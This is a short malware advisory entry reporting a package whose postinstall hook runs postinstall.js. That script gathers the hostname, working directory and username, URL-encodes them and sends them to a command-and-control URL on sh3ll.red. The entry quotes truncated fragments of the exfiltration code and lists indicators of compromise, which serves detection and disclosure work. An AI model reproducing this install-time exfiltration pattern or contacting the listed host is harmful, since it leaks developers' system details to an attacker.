GCVE-110-OSM-2026-4236

Malicious package detected. Behaviors: data exfiltration, install-time execution. Entrypoint: postinstall.js (install-hook: node postinstall.js) Payload: postinstall.js Key findings: - Install Hook Executes Local JS File in package.json: ""postinstall": "node postinstall.js"" - System Information Exfiltration in postinstall.js: "os.hostname(); const pwd = process.cwd(); const user = os.userInfo().usernam..." - HTTP Data Exfiltration in postinstall.js: "os.hostname(); const pwd = process.cwd(); const user = os.userInfo().usernam..." - Data Encoding for Exfiltration in postinstall.js: "encodeURIComponent(hostname)}&pwd=${encodeURIComponent(pwd)}&user=${encodeURICom..." - Brand New Package IOCs: - c2: https://sh3ll.red/hello - domain: sh3ll.red - payloadFileHash: 360f5610a25f00db69a521d96d175596c7d68f9cb048a3ff0fb6d30893a0f58c